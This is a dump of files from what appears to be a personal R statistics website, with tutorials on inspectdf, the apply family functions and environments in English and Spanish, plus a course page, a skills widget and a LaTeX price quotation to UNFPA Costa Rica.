The `inspect_cat ()` function shows in the first column the name of the variable, in the second one the number of unique values it contains, that is, the variable * eye_color * has 15 different levels, or what is the same, there are 15 colors and different eyes in the database. The third column shows the most common value that appears in the variable; for example, the most common species that appear in the dataset are humans. The fourth column indicates the percentage that represents the most common level; for example, the brown eyes represent 24.13% of all the colors present in the data. So what does the fifth column represent? Well, it is a list with the proportions of each level of the variable. Consider the * df * object from the previous result.
```{r}
df <- starwars %>%
inspect_cat()
df$levels$eye_color
```
The table above shows the proportion of each eye color. The same applies to any of the other variables.
### Graphical exploratory data analysis
Sometimes the numerical values are not easy to interpret it, either due to a quantity of data or due to visual issues. The `inspectdf` package also graphically allows for exploratory data analysis.
```{r}
df %>%
show_plot()
```
The previous result contains the same information as the `df` object, but now it is easier, faster, and even easier to interpret. However, this result can be improved, because the variable * name * does not work much in the graph because all the names are different. It can solve by modifying the argument `high_cardinality`, which means that only those categories that appear a certain number of times say four will be in the plot.
```{r}
df %>%
show_plot(high_cardinality = 4)
```
Finally, if the colors are not entirely pleasant, they can be manipulated through the five color palettes offered by the package, we only have to modify the `col_palette` argument with numbers between one and five to achieve this.
```{r}
df %>%
show_plot(high_cardinality = 4, col_palette = 4)
df %>%
show_plot(high_cardinality = 4, col_palette = 5)
```
<file_sep>/content/en/talk/cursor202001/index.md
---
title: R Programming
event: Extension Program in Statistics
event_url: http://estadistica.ucr.ac.cr/index.php/es/uses/cursos
location: San José, Costa Rica
summary: This course consists of sixteen hours, divided into four sessions of four hours each. The purpose of the course is to provide the student with the starting point to use the R programming language. By using this language, the student can read and create data, manipulate objects, generate different types of data visualization, and obtain basic statistics.
abstract: "The course is aimed at professionals in Statistics, Industrial Engineering, Economics, Food Technology, Agronomy, Biology, Medicine, and other disciplines that require a high statistical component in research."
# Talk start and end times.
# End time can optionally be hidden by prefixing the line with `#`.
date: "2020-01-28T17:00:00Z"
date_end: "2020-02-06T21:00:00Z"
all_day: false
# Schedule page publish date (NOT talk date).
publishDate: "2019-12-05T17:00:00Z"
authors: []
tags: []
# Is this a featured talk? (true/false)
featured: false
image:
caption: 'Source: [**EEs**](https://www.http://estadistica.ucr.ac.cr/index.php/es/uses/cursos)'
focal_point: Right
links:
#- icon: twitter
# icon_pack: fab
# name: Follow
# url: https://twitter.com/georgecushen
url_code: ""
url_pdf: ""
url_slides: ""
url_video: ""
# Markdown Slides (optional).
# Associate this talk with Markdown slides.
# Simply enter your slide deck's filename without extension.
# E.g. `slides = "example-slides"` references `content/slides/example-slides.md`.
# Otherwise, set `slides = ""`.
slides: example
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects:
- internal-project
# Enable math on this page?
math: true
---
<file_sep>/Varios/Cotizaciones/UNFPA/Cotización.tex
% Options for packages loaded elsewhere
\PassOptionsToPackage{unicode}{hyperref}
\PassOptionsToPackage{hyphens}{url}
\PassOptionsToPackage{dvipsnames,svgnames*,x11names*}{xcolor}
%
\documentclass[
]{article}
\usepackage{lmodern}
\usepackage{amsmath}
\usepackage{ifxetex,ifluatex}
\ifnum 0\ifxetex 1\fi\ifluatex 1\fi=0 % if pdftex
\usepackage[T1]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage{textcomp} % provide euro and other symbols
\usepackage{amssymb}
\else % if luatex or xetex
\usepackage{unicode-math}
\defaultfontfeatures{Scale=MatchLowercase}
\defaultfontfeatures[\rmfamily]{Ligatures=TeX,Scale=1}
\fi
% Use upquote if available, for straight quotes in verbatim environments
\IfFileExists{upquote.sty}{\usepackage{upquote}}{}
\IfFileExists{microtype.sty}{% use microtype if available
\usepackage[]{microtype}
\UseMicrotypeSet[protrusion]{basicmath} % disable protrusion for tt fonts
}{}
\makeatletter
\@ifundefined{KOMAClassName}{% if non-KOMA class
\IfFileExists{parskip.sty}{%
\usepackage{parskip}
}{% else
\setlength{\parindent}{0pt}
\setlength{\parskip}{6pt plus 2pt minus 1pt}}
}{% if KOMA class
\KOMAoptions{parskip=half}}
\makeatother
\usepackage{xcolor}
\IfFileExists{xurl.sty}{\usepackage{xurl}}{} % add URL line breaks if available
\IfFileExists{bookmark.sty}{\usepackage{bookmark}}{\usepackage{hyperref}}
\hypersetup{
colorlinks=true,
linkcolor=blue,
filecolor=Maroon,
citecolor=Blue,
urlcolor=blue,
pdfcreator={LaTeX via pandoc}}
\urlstyle{same} % disable monospaced font for URLs
\usepackage[margin=1in]{geometry}
\usepackage{graphicx}
\makeatletter
\def\maxwidth{\ifdim\Gin@nat@width>\linewidth\linewidth\else\Gin@nat@width\fi}
\def\maxheight{\ifdim\Gin@nat@height>\textheight\textheight\else\Gin@nat@height\fi}
\makeatother
% Scale images if necessary, so that they will not overflow the page
% margins by default, and it is still possible to overwrite the defaults
% using explicit options in \includegraphics[width, height, ...]{}
\setkeys{Gin}{width=\maxwidth,height=\maxheight,keepaspectratio}
% Set default figure placement to htbp
\makeatletter
\def\fps@figure{htbp}
\makeatother
\setlength{\emergencystretch}{3em} % prevent overfull lines
\providecommand{\tightlist}{%
\setlength{\itemsep}{0pt}\setlength{\parskip}{0pt}}
\setcounter{secnumdepth}{-\maxdimen} % remove section numbering
%\usepackage{fancyhdr}
%\pagestyle{fancy}
%\rhead{\includegraphics[width = 1\textwidth]{marca.jpg}}
\usepackage{geometry}
\geometry{a4paper, left=10mm, right=10mm, bottom=15mm, top=16mm}
\usepackage{setspace}
\doublespacing
\usepackage[spanish]{babel}
\usepackage{color}
\usepackage{xcolor}
\usepackage{framed}
\colorlet{shadecolor}{gray!20}
\setcounter{secnumdepth}{0}
\usepackage{sectsty}
\chapternumberfont{\Large}
\chaptertitlefont{\Large}
\setcounter{tocdepth}{5}
\setcounter{secnumdepth}{5}
\setlength{\footskip}{20pt}%Esto sube el número de página
\usepackage{graphics}
\usepackage{setspace} %paquete para el doble espaciado
%\doublespacing %inicia el doble espaciado
%Esto quita el punto final en la numeracion de cada seccion
\usepackage{tocloft}
\usepackage{titlesec}
\titleformat{\section}
{\Large\bfseries}{\thesection}{0.5em}{}
\titleformat{\subsection}
{\large\bfseries}{\thesubsection}{0.5em}{}
\titleformat{\subsubsection}
{\normalsize\bfseries}{\thesubsubsection}{0.5em}{}
\titleformat{\paragraph}
{\normalsize\bfseries}{\theparagraph}{0.5em}{}
\renewcommand\cftsecaftersnum{}
\renewcommand\thesection{\arabic{section}}
\renewcommand\thesubsection{\thesection.\arabic{subsection}}
\usepackage{caption}
\usepackage{fancyhdr}
\pagestyle{fancy}
\fancyhf{}
\fancyhead[R]{\rightmark}
\fancyfoot[R]{\thepage}
\fancyfoot[C]{Teléfono 8650-3261 | <EMAIL> | <EMAIL>}
\setlength{\headheight}{21.9pt}
\renewcommand\sectionmark[1]{%
\markright{\thesection\ #1}}
\renewcommand{\footrulewidth}{0.4pt}
\renewcommand{\headrulewidth}{0pt}
%\renewcommand{\footnoterule}{%
% \kern -1pt
% \hrule width \textwidth height 1pt
% \kern 4pt
%}
%<NAME>UA
\usepackage{graphicx}
\usepackage{fancyhdr}
\pagestyle{fancy}
\setlength\headheight{28pt}
\fancyhead[L]{\includegraphics[width=19cm]{cabecera.jpg}}
\fancyfoot[LE,RO]{}
\usepackage{booktabs}
\usepackage{longtable}
\usepackage{array}
\usepackage{multirow}
\usepackage{wrapfig}
%\usepackage{float}
\usepackage{colortbl}
\usepackage{pdflscape}
\usepackage{tabu}
\usepackage{threeparttable}
\usepackage{threeparttablex}
\usepackage[normalem]{ulem}
\usepackage{makecell}
\usepackage{xcolor}
\usepackage{tocloft}
\renewcommand{\cftsecleader}{\cftdotfill{\cftdotsep}}
%\renewcommand{\familydefault}{\sfdefault} %Para cambiar la fuente
%Para referenciar chunks
\usepackage{caption}
\usepackage{floatrow}
\floatsetup[figure]{capposition=top}
\floatsetup[table]{capposition=top}
\floatplacement{figure}{H}
\floatplacement{table}{H}
\captionsetup[table]{name=, labelformat=empty}
\DeclareNewFloatType{chunk}{placement=H, fileext=chk, name=}
\captionsetup{options=chunk}
\renewcommand{\thechunk}{Código~\arabic{chunk}}
\makeatletter
\@addtoreset{chunk}{section}
\makeatother
\usepackage{tikz}
\usetikzlibrary{calc}
\newcommand{\positiontextbox}[4][]{%
\begin{tikzpicture}[remember picture,overlay]
% \draw[step=0.5,gray!80!white] (current page.north west) grid (current page.south east); % For controlling
\node[inner sep=10pt,right,#1] at ($(current page.north west) + (#2,-#3)$) {#4};
\end{tikzpicture}%
}
\usepackage{booktabs}
\usepackage{longtable}
\usepackage{array}
\usepackage{multirow}
\usepackage{wrapfig}
\usepackage{float}
\usepackage{colortbl}
\usepackage{pdflscape}
\usepackage{tabu}
\usepackage{threeparttable}
\usepackage{threeparttablex}
\usepackage[normalem]{ulem}
\usepackage{makecell}
\usepackage{xcolor}
\ifluatex
\usepackage{selnolig} % disable illegal ligatures
\fi
\author{}
\date{\vspace{-2.5em}}
\begin{document}
\pagenumbering{gobble}
\cleardoublepage
\newpage
\positiontextbox[]{1cm}{2.5cm}{\huge{\textbf{\textcolor{white}{<NAME>}}}}
\positiontextbox[]{1cm}{3.25cm}{\Large{\textbf{\textcolor{white}{Analista de datos}}}}
\positiontextbox[]{12.5cm}{1.5cm}{\LARGE{\textbf{\textcolor{white}{Propuesta económica}}}}
\subsection*{\Large{Elaborado el día 04 de septiembre del 2021 a las 21:28:13.}}
\subsection*{\Large{Presupuesto para:}}
\text{\large{Sr(a)(ita): }}
\text{\large{Institución: Fondo de Población de las Naciones Unidas (UNFPA Costa Rica) }}
\text{\large{Dirección: Oficentro La Virgen, Pavas. }}
\text{\large{Teléfono: 2296-1265 | Correo electrónico: <EMAIL>}}
\begin{table}[!h]
\caption{\label{tab:unnamed-chunk-4}Términos y condiciones}
\centering
\resizebox{\linewidth}{!}{
\fontsize{9}{11}\selectfont
\begin{tabu} to \linewidth {>{\raggedright\arraybackslash}p{2cm}>{\raggedright\arraybackslash}p{5cm}>{\raggedright\arraybackslash}p{2cm}>{\raggedright\arraybackslash}p{6cm}>{\raggedright}X}
\toprule
Condiciones especiales & Validez de la oferta & Método de pago & Moneda & Tipo de cambio\\
\midrule
& 4 de octubre del 2021 a las 21:28:14 & Negociable, pagos parciales del equivalente en colones en fechas indicadas. & dólar estadounidense & Indicado por Naciones Unidas al firmar el contrato.\\
\bottomrule
\end{tabu}}
\end{table}
\begin{table}[!h]
\caption{\label{tab:unnamed-chunk-6}Detalle de la cotización}
\centering
\resizebox{\linewidth}{!}{
\fontsize{9}{11}\selectfont
\begin{tabu} to \linewidth {>{\raggedright\arraybackslash}p{12cm}>{\raggedleft}X>{\raggedleft}X>{\raggedleft}X}
\toprule
Descripción & Precio & IVA & Subtotal\\
\midrule
Plan de trabajo (entregado al 17 de setiembre del 2021). & 742.5 & 0.0 & 742.5\\
Primer avance (entregado al 25 de octubre del 2021). & 1,485.0 & 0.0 & 1,485.0\\
Segundo avance (entregado al 26 de noviembre del 2021). & 1,980.0 & 0.0 & 1,980.0\\
Producto final (entregado al 03 de diciembre del 2021). & 742.5 & 0.0 & 742.5\\
& & & \\
\midrule
\textbf{} & \textbf{4,950.0} & \textbf{0.0} & \textbf{4,950.0}\\
\bottomrule
\end{tabu}}
\end{table}
\text{\large{Gracias por su confianza.}}
\end{document}
<file_sep>/content/en/post/2019-12-08-lapply_sapply_vapply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "apply family functions - Part 3"
subtitle: "lapply(), sapply() and vapply() functions"
summary: "The lapply(), sapply() and vapply() functions in data analysis."
authors: ["<NAME>"]
tags: ["R", "RStudio", "apply functions", "lapply", "sapply", "vapply"]
categories: ["R basics"]
date: 2019-12-08T18:55:57-06:00
lastmod: 2019-12-08T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
In this new post about the apply family functions, we'll show some examples of three new functions: `lapply()`, `sapply()`, and `vapply()`. These functions generally works with objects of class `list`; however, other variants can work with vectors.
Suppose now we have several databases on which we need to obtain the sum of each column. We'll generate a simple function that returns a database of random numbers in the range $ [1,100] $ and also contains missing values, with a certain number of rows and columns.
```{r}
dat <- function(rows, columns){
values <- sample(x = c(NA,1:100),
size = rows*columns,
replace = TRUE)
as.data.frame(matrix(data = values,
nrow = rows,
ncol = columns))
}
```
Thus, for example, we can generate a database with 50 rows and 5 columns by executing the following command:
```{r}
set.seed(20191208)
df1 <- dat(50, 5)
```
Let's generate more other databases of dimensions $100\times5$ and $150\times5$.
```{r}
set.seed(20191208)
df2 <- dat(100, 5)
df3 <- dat(150, 5)
```
As we saw in [this post](https://www.cesargamboasanabria.com/en/post/2019-06-23-apply/), we could use the `apply()` function to get the sum of the columns.
```{r}
apply(df1,2,sum)
apply(df2,2,sum)
apply(df3,2,sum)
```
Or, something simpler would be to use the function `colSums()`.
```{r}
colSums(df1)
colSums(df2)
colSums(df3)
```
However, we could have a large number of databases, so the above procedures are not viable since writing so many lines of code is quite dull.
That's the time the lists come into play. The three databases we generate can be stored in a single list as follows.
```{r}
list1 <- list(df1, df2, df3)
```
By having a list, each database becomes an element of that list. For example, element 1 is the set *df1*, while the sets *df2* and *df3* are elements 2 and three, respectively. One way to call the elements within a list is by `[[]]`, as follows we call the data set *df2*:
```{r}
list1[[2]]
```
Now, if we need to apply the `colSums()` function to each data set, we can use the `lapply()` function:
```{r}
lapply(list1, colSums)
```
The result is a list with the sum of the columns of each database. If we need to do the sums, but without counting the missing values, we have to incorporate the respective argument of the `colSums()` function.
```{r}
lapply(list1, colSums, na.rm=TRUE)
```
As you can see, the `lapply()` function works with three arguments: a list -in this case, the list object-, a function that we want to apply to each element of that list -in this case, `colSums()`-, and if necessary, the arguments requested by the indicated function -in this case `na.rm = TRUE` of the `colSums()`- function.
The previous result returns the calculations in an object of class `list`; however, in many cases, it is desirable to obtain a more orderly format. The `sapply()` function works identically to `lapply()`, with the proviso that **if the result of each item in the list has the same length**, the `sapply()` function groups the result. By using the `lapply()` motion, we obtain a list of three elements, where each element is a vector of length five, that is, they all have the same length, so the `sapply()` function would return the following:
```{r}
sapply(list1, colSums)
sapply(list1, colSums, na.rm=TRUE)
```
Although the `sapply()` function seems more useful than `lapply()`, it has a small inconvenience, and it is always going to work... How can this be an inconvenience? Let's incorporate a new data set, but this time with six columns instead of five like the previous ones.
```{r}
df4 <- dat(150, 6)
list2 <- list(df1, df2, df3, df4)
```
If we use the `lapply()` function again, we would again obtain the sums by columns in the form of a list:
```{r}
lapply(list2, colSums, na.rm=TRUE)
```
While if we apply the `sapply()` function:
```{r}
sapply(list2, colSums, na.rm=TRUE)
```
Now we get a list, that is, the same result as with `sapply()`. The reason is that not all elements have the same length, before there were three vectors of length five, while now also a vector of length six. This fact seems to be irrelevant, since a result is still being obtained, however depending on the context that result will not always be valid.
Suppose that based on the analysis we are doing, we know that the sum of the columns can only return a vector of length five and that if the result is something else, it may be due to an error in one of the databases, such as additional columns. The `vapply()` function allows us, like `sapply()`, to apply a function to the elements of a list, but specifying that the expected result, in this case, is a numerical vector of length five. Let's first make a comparison between `sapply()` and `vapply()` with the object `list`, which has three databases with five columns:
```{r}
sapply(list1, colSums, na.rm=TRUE)
vapply(list1, colSums, numeric(5), na.rm=TRUE)
```
The results are identical. But now let's repeat the previous example but for the object `list2`, which contains a data set with six columns.
```{r}
sapply(list2, colSums, na.rm=TRUE)
```
The `sapply()` function performs the calculation, but under the assumption that the expected result is vectors of length five, this result is incorrect. The `vapply()` function helps us control this problem.
```{r, error=TRUE}
vapply(list2, colSums, numeric(5), na.rm=TRUE)
```
When trying to execute the code, we get an error, since evaluating the function in element number four of the list returns a vector of length six and not five as expected.
The `vapply()` function is generally more advisable than `sapply()` because it allows you to have more control over the expected results.<file_sep>/content/en/home/skills.md
+++
# A Skills section created with the Featurette widget.
widget = "featurette" # See https://sourcethemes.com/academic/docs/page-builder/
headless = true # This file represents a page section.
active = true # Activate this widget? true/false
weight = 30 # Order that this section will appear.
title = "Skills"
subtitle = ""
# Showcase personal skills or business features.
#
# Add/remove as many `[[feature]]` blocks below as you like.
#
# For available icons, see: https://sourcethemes.com/academic/docs/widgets/#icons
[[feature]]
icon = "r-project"
icon_pack = "fab"
name = "R"
description = "(this webpage has been developed using RStudio)"
[[feature]]
icon = "python"
icon_pack = "fab"
name = "Python"
description = ""
[[feature]]
icon = "github"
icon_pack = "fab"
name = "git"
description = ""
[[feature]]
icon = "chart-area"
icon_pack = "fas"
name = "Descriptive analysis"
description = "Statistical plots and tables"
[[feature]]
icon = "clone"
icon_pack = "fas"
name = "Survey design"
description = "Design and tabulation"
[[feature]]
icon = "database"
icon_pack = "fas"
name = "Data bases"
description = "Development and debugging"
[[feature]]
icon = "chart-line"
icon_pack = "fas"
name = "Forecasts"
description = "Time series analysis, regression models and classification"
[[feature]]
icon = "columns"
icon_pack = "fas"
name = "Multivariate analysis"
description = "Dimension reduction and clustering"
[[feature]]
icon = "users"
icon_pack = "fas"
name = "Data Mining"
description = "Sentiment analysis and text mining"
+++
<file_sep>/content/es/post/2019-12-08-lapply_sapply_vapply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Familia de funciones apply - Parte 3"
subtitle: "Las funciones lapply(), sapply() y vapply()"
summary: "Se muestran ejemplos de uso de las funciones lapply(), sapply() y vapply()"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Funciones apply", "lapply", "sapply", "vapply"]
categories: ["Fundamentos de R"]
date: 2019-12-08T18:55:57-06:00
lastmod: 2019-12-08T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
En este nuevo post sobre la familia de funciones apply, es momento de mostrar algunos ejemplos de uso sobre tres nuevas funciones: `lapply()`, `sapply()` y `vapply()`. Las tres funciones están pensadas para trabajar con objetos de clase `list`, sin embargo, otras variantes pueden trabajarse con vectores.
Supongamos que tenemos varias bases de datos sobre las cuales necesitamos obtener la suma de las columnas. Vamos primero a generar una sencilla función que nos devuelva una base de datos de números aleatorios del intervalo $[1,100]$ y que además contenga valores faltantes, con un determinado número de filas y columnas.
```{r}
datos <- function(filas, columnas){
valores <- sample(x = c(NA,1:100),
size = filas*columnas,
replace = TRUE)
as.data.frame(matrix(data = valores,
nrow = filas,
ncol = columnas))
}
```
Así, por ejemplo, podemos generar una base de datos con 50 filas y 5 columnas ejecutando el siguiente comando:
```{r}
set.seed(20191208)
df1 <- datos(50, 5)
```
Generemos otras dos bases de datos de dimensiones $100\times5$ y $150\times5$.
```{r}
set.seed(20191208)
df2 <- datos(100, 5)
df3 <- datos(150, 5)
```
Como vimos en [este post](https://www.cesargamboasanabria.com/es/post/2019-06-23-apply/), podríamos utilizar la función `apply()` para obtener la suma de las columnas.
```{r}
apply(df1,2,sum)
apply(df2,2,sum)
apply(df3,2,sum)
```
O bien, algo más sencillo sería utilizar la función `colSums()`.
```{r}
colSums(df1)
colSums(df2)
colSums(df3)
```
Sin embargo, podríamos tener una gran cantidad de bases datos, con lo cual los procedimientos anteriores no son viables, pues escribir tantas líneas de código es bastante aburrido...
Es ahí donde entran en juego las listas. Las tres bases de datos que generamos podemos almacenarlas en una sola lista de la siguiente manera.
```{r}
lista <- list(df1, df2, df3)
```
Al tener una lista, cada base de datos se convierte en un elemento de esa lista. Por ejemplo, el elemento 1 de esa lista es el conjunto *df1*, mientras que los conjuntos *df2* y *df3* son los elementos 2 y tres respectivamente. Una forma de llamar a los elementos dentro de una lista es mediante `[[]]`, de la siguiente manera llamamos al conjunto de datos *df2*:
```{r}
lista[[2]]
```
Ahora, si quisiéramos aplicar la función `colSums()` a cada conjunto de datos, podemos utilizar la función `lapply()`:
```{r}
lapply(lista, colSums)
```
El resultado es una lista con la suma de las columnas de cada base de datos. Si quisiéramos realizar las sumas pero sin contar los valores faltantes, solo hay que incorporar el argumento respectivo de la función `colSums()`.
```{r}
lapply(lista, colSums, na.rm=TRUE)
```
Como puede notarse, la función `lapply()` trabaja básicamente con tres argumentos: una lista (en este caso el objeto lista), una función que deseamos aplicarle a cada elemento de esa lista (en este caso `colSums()`), y de ser necesario, los argumentos que solicitados por la función in dicada (en este caso `na.rm=TRUE` de la función `colSums()`).
El resultado anterior devuelve los cálculos en un objeto de clase `list`, sin embargo, en muchas ocasiones es deseable obtener un formato algo más ordenado. la función `sapply()` trabaja de forma idéntica a `lapply()`, con la salvedad de que **si el resultado de cada elemento de la lista posee la misma longitud**, la función `sapply()` agrupa el resultado. Al utilizar la sunción `lapply()` obtenemos una lista de tres elementos, donde cada elemento es un vector de longitud cinco, es decir, todos tienen la misma longitud, por lo que la función `sapply()` devolvería lo siguiente:
```{r}
sapply(lista, colSums)
sapply(lista, colSums, na.rm=TRUE)
```
Aunque la función `sapply()` parezca más útil que `lapply()`, tiene un pequeño inconveniente, y es que siempre va a funcionar... ¿Cómo puede esto ser un inconveniente? Incorporemos un nuevo conjunto de datos, pero esta vez con seis columnas en lugar de cinco como los anteriores.
```{r}
df4 <- datos(150, 6)
lista2 <- list(df1, df2, df3, df4)
```
Si utilizamos nuevamente la función `lapply()`, obtendríamos de nuevo las sumas por columnas en forma de una lista:
```{r}
lapply(lista2, colSums, na.rm=TRUE)
```
Mientras que si aplicamos la función `sapply()`:
```{r}
sapply(lista2, colSums, na.rm=TRUE)
```
Ahora obtenemos una lista, es decir, el mismo resultado que con `sapply()`. Esto sucede porque ahora no todos los elementos tienen la misma longitud, antes se tenían tres vectores de longitud cinco, mientras que ahora también se tiene un vector de longitud seis. Esto parece ser algo sin importancia, pues igual se está obteniendo un resultado, sin embargo dependiendo del contexto ese resultado no siempre será válido.
Supongamos que basados en el análisis que estamos realizando, sabemos que la suma de las columnas solamente puede devolver un vector de longitud cinco, y que si el resultado es otra cosa puede deberse a un error en alguna de las bases de datos, como columnas adicionales. La función `vapply()` nos permite, al igual que `sapply()`, aplicar una función a los elementos de una lista, pero especificando que el resultado esperado, en este caso, es un vector numérico de longitud cinco. Hagamos primero una comparación entre `sapply()` y `vapply()` con el objeto `lista`, que tiene tres bases de datos con cinco columnas:
```{r}
sapply(lista, colSums, na.rm=TRUE)
vapply(lista, colSums, numeric(5), na.rm=TRUE)
```
Los resultados son idénticos. Pero ahora repitamos el ejemplo anterior pero para el objeto `lista2`, que contiene un conjunto de datos con seis columnas.
```{r}
sapply(lista2, colSums, na.rm=TRUE)
```
La función `sapply()` realiza el cálculo, pero bajo el supuesto de que el resultado esperado son vectores de longitud cinco, este resultado es incorrecto. La función `vapply()` nos ayuda a controlar esto:
```{r, error=TRUE}
vapply(lista2, colSums, numeric(5), na.rm=TRUE)
```
Al intentar ejecutar el código obtenemos un error, pues evaluar la función en el elemento número cuatro de la lista hace que se obtenga un vector de longitud seis, y no de cinco como esperábamos. Utilizar `vapply()` es, generalmente, más recomendable que `sapply()` pues permite tener un mayor control sobre los resultados esperados.<file_sep>/content/es/post/2020-03-01-eapply_rapply_mapply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Familia de funciones apply - Parte 4"
subtitle: "Las funciones eapply(), rapply() y mapply()"
summary: "Se muestran ejemplos de uso de las funciones eapply(), rapply() y mapply()"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Funciones apply", "eapply", "rapply", "mapply"]
categories: ["Fundamentos de R"]
date: 2020-03-01T18:55:57-06:00
lastmod: 2020-03-01T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
# Función eapply
## Uso de Environments
En pocas palabras, en R un *Environment* es un sitio para almacenar variables, o valores que asignamos a objetos. Cada vez que se inicia una nueva sesión de R, todos los objetos creados se añadirán al *Environment* **global**. Si creamos el objeto `x`, este quedará entonces en el *Environment* predeterminado de R, la función `ls()` sirve para listar los objetos creados y en este caso comprobar que `x` existe.
```{r}
x <- 28022020
ls()
```
Es posible asignar el *Environment* **global** a un objeto, digamos `environment_1`. Una cosa curiosa es que tras hacer esto, `environment_1` es un objeto que está en el *Environmet* **global**, pero al mismo tiempo es el *Environmet* **global**.
```{r}
environment_1 <- globalenv()
class(environment_1)
ls()
```
Este caso podría interpretarse como usar una lista, tema que ya fue discutido en [este post](https://www.cesargamboasanabria.com/es/post/2019-12-08-lapply_sapply_vapply/). Como el objeto `environment_1` es el ambiente global, contiene al objeto `x`, que fue asignado al *Environment* **global**; y también se contiene a sí mismo de una manera algo cíclica...
```{r}
environment_1$x
environment_1$environment_1
environment_1$environment_1$environment_1
ls(environment_1$environment_1$environment_1$environment_1)
```
El objeto `environment_1` podría, en palabras del buen docto <NAME>, crear una paradoja que destruiría el universo, así que lo mejor es eliminarlo. La sección 2.1.10 de la [definición del lenguaje R](https://cran.r-project.org/doc/manuals/R-lang.html#Environment-objects) ofrece una descripción más formal de lo que es un *Environment*.
```{r}
rm(environment_1)
ls()
```
Es posible crear un *Environment* nuevo que sea independiente del *Environment* **global**, la cual llamaremos `environment_2`. Al crearlo, podemos ver que este se encuentra vacío en comparación al *Environment* **global**, el cual contiene a `x` y a `environment_2`. Además, si generamos directamente una nueva variable, digamos `z`, esta se asignará al *Environment* **global**.
```{r}
environment_2 <- new.env()
environment_2
ls(globalenv())
ls(environment_2)
z <- pi
ls(globalenv())
ls(environment_2)
```
Ahora crearemos una variable llamada `y` y se la asignaremos al `environment_2`. Tras hacer eso, la variable `y` estará contenida **únicamente** en el `environment_2` y no en el *Environment* **global**, a pesar de que este último contiene al `environment_2`.
```{r}
environment_2$y <- "Esto es muy abstracto"
ls(globalenv())
ls(environment_2)
environment(x)
```
¿Los *Environment* sirven para algo más aparte de filosofar? La respuesta es que sí, y son fundamentales en algo muy utilizado en R: Las funciones. Por lo general, al construir una función se asume tiene únicamente dos componentes: los argumentos y el contenido de la función. Consideremos una sencilla función que invierte el signo de un número.
```{r}
invertir_signo <- function(numero){
numero*-1
}
```
En el caso anterior, la función `invertir_signo()` **numero** tiene un único argumento, mientras que su contenido es $numero\cdot -1$. Sin embargo, las funciones cuentan con un tercer argumento: El *Environment*. Cuando la función `invertir_signo()` fue creada, quedó almacenada en el *Environment* **global**.
```{r}
ls(globalenv())
ls(environment_2)
environment(invertir_signo)
```
La consecuencia de esto es que la función `invertir_signo()` únicamente podrá ser evaluada en el *Environment* que tiene asignado. Por ejemplo, la función puede ser evaluada sobre el objeto `x`, que está en el *environment* **global**:
```{r}
invertir_signo(x)
```
Si creamos un objeto que también se llame `x`, pero que se encuentre en el `environment_2`, la función `invertir_signo()` seguirá siendo evaluada en el *Environment* **global**.
```{r}
environment_2$x <- 123456
invertir_signo(x)
```
## La función eapply
Estos pequeños detalles que no suelen manejarse en la vida diaria pueden llegar a ser indispensables en ciertas situaciones, como cuando se quiere utilizar la función `eapply()`. Connociendo los aspectos más elementales de cómo trabajan los *Environment*, vamos a eliminar todos los objetos creados hasta ahora, esto para mantener el orden.
```{r}
rm(list = ls())
```
Como también repasamos en [este post](https://www.cesargamboasanabria.com/es/post/2019-12-08-lapply_sapply_vapply/), la función `lapply()` aplica una función a cada elemento de una lista. De forma similar, la función `eapply()` aplica una función a cada elemento nombrado en un *Environment* con la diferencia que en `eaaply()` el primer argumento es un *Environment*, y no una lista como en `lapply()`. vamos a crear entonces un nuevo *Environment* para aplicarle una función a sus elemntos que devuelva la raíz cuadrada de cada uno y sumarle 10:
```{r}
environment_1 <- new.env()
environment_1$elemento_1 <- 4
environment_1$elemento_2 <- 9
environment_1$elemento_3 <- 25
eapply(environment_1, function(x){
sqrt(x)+10
})
```
El resultado puede solicitarse sin las etiquetas de los nombres:
```{r}
eapply(environment_1, function(x){
sqrt(x)+10
}, USE.NAMES = FALSE)
```
Las anteriores ejecuciones de la función `eapply()` evalúan nuestra función en todos los elemntos que contenga el *Environment*, pero hay excepciones si se tienen *elementos ocultos*. Los *elementos ocultos* son objetos que existen pero que no están a simple vista, podems crear el *elemento_4* como oculto de la siguiente manera:
```{r}
environment_1$.elemento_4 <- 48
ls(environment_1)
```
Si repetimos la evaluación anterior de la función `eaaply()`, se ejecutará solamente con los *elementos visibles*:
```{r}
eapply(environment_1, function(x){
sqrt(x)+10
})
```
Pero podemos pedir que se ejecute sobre **todos** los elementos:
```{r}
eapply(environment_1, function(x){
sqrt(x)+10
}, all.names = TRUE)
```
# Función rapply
